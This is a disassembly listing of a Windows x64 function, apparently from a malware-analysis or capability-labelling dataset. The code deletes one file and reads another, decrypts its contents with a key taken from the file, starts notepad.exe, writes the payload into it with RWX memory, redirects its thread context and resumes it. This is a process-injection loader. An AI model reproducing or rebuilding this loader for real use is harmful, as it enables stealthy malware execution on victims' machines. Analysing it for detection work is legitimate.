Function at 0x1400013d0
Capabilities:
Create thread
Delete file
Read file on windows

Disassembly:
push rsi
push rdi
mov eax, 0x1938
call fcn.140001ad0
sub rsp, rax
mov rax, qword [0x140005348]
xor rax, rsp
mov qword [rsp + 0x1920], rax
lea rax, [rsp + 0x118]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140001030]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0xf8], rax
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140005040]
lea rcx, [0x140005048]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
jne 0x1400015de
xor eax, eax
jmp 0x1400019ac
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.._ijj.bin
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [0x140005054]
lea rcx, str.._ok.bin
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov qword [rsp + 0x78], rax
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov dword [rsp + 0x5c], eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov eax, dword [rsp + 0x5c]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x14000166a
xor eax, eax
jmp 0x1400019ac
mov eax, dword [rsp + 0x5c]
mov r9, qword [rsp + 0x78]
mov r8d, eax
mov edx, 1
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
lea rax, [rsp + 0x670]
mov rdi, rax
mov rsi, qword [rsp + 0x80]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x10
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa8], rax
mov eax, dword [rsp + 0x5c]
sub eax, 0x10
mov dword [rsp + 0x54], eax
mov qword [rsp + 0x88], 0
jmp 0x1400016ee
mov rax, qword [rsp + 0x88]
inc rax
mov qword [rsp + 0x88], rax
mov eax, dword [rsp + 0x54]
cdq
and edx, 7
add eax, edx
sar eax, 3
cdqe
cmp qword [rsp + 0x88], rax
jae 0x140001732
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x88]
lea rax, [rax + rcx*8]
lea r8, [rsp + 0x670]
mov rdx, rax
mov ecx, 0x20
call fcn.1400012a0
jmp 0x1400016db
lea rax, [rsp + 0x920]
mov rdi, rax
xor eax, eax
mov ecx, 0x1000
rep stosb byte [rdi], al
mov dword [rsp + 0x50], 0
jmp 0x14000175a
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
cmp dword [rsp + 0x50], eax
jge 0x140001783
movsxd rax, dword [rsp + 0x50]
movsxd rcx, dword [rsp + 0x50]
mov rdx, qword [rsp + 0xa8]
movzx eax, byte [rdx + rax]
mov byte [rsp + rcx + 0x920], al
jmp 0x140001750
mov ecx, 0xf1
call fcn.140001120
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0x90], 0x14
lea rax, [rsp + 0x120]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x120], 0x44
lea rax, [rsp + 0x100]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x100]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Windows_system32_notepad.exe
call qword [rsp + 0xb8]
mov dword [rsp + 0x94], eax
cmp dword [rsp + 0x94], 0
je 0x14000196f
mov dword [rsp + 0x1c0], 0x10003
mov ecx, 0x31a
call fcn.140001120
mov qword [rsp + 0xc0], rax
lea rdx, [rsp + 0x190]
mov rcx, qword [rsp + 0x108]
call qword [rsp + 0xc0]
mov ecx, 0x600
call fcn.140001120
mov qword [rsp + 0xc8], rax
movsxd rax, dword [rsp + 0x54]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x100]
call qword [rsp + 0xc8]
mov qword [rsp + 0x98], rax
mov ecx, 0x654
call fcn.140001120
mov qword [rsp + 0xd0], rax
movsxd rax, dword [rsp + 0x54]
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, [rsp + 0x920]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x100]
call qword [rsp + 0xd0]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x288], rax
mov ecx, 0x589
call fcn.140001120
mov qword [rsp + 0xd8], rax
lea rdx, [rsp + 0x190]
mov rcx, qword [rsp + 0x108]
call qword [rsp + 0xd8]
mov ecx, 0x4f3
call fcn.140001120
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0x108]
call qword [rsp + 0xe0]
mov ecx, 0x94
call fcn.140001120
mov qword [rsp + 0xe8], rax
mov rcx, qword [rsp + 0x108]
call qword [rsp + 0xe8]
mov ecx, 0x5c4
call fcn.140001120
mov qword [rsp + 0xb0], rax
mov ecx, 0x232
call fcn.140001120
mov qword [rsp + 0xf0], rax
call qword [rsp + 0xf0]
xor edx, edx
mov rcx, rax
call qword [rsp + 0xb0]
jmp 0x1400019aa
xor eax, eax
mov rcx, qword [rsp + 0x1920]
xor rcx, rsp
call fcn.140001b30
add rsp, 0x1938
pop rdi
pop rsi
ret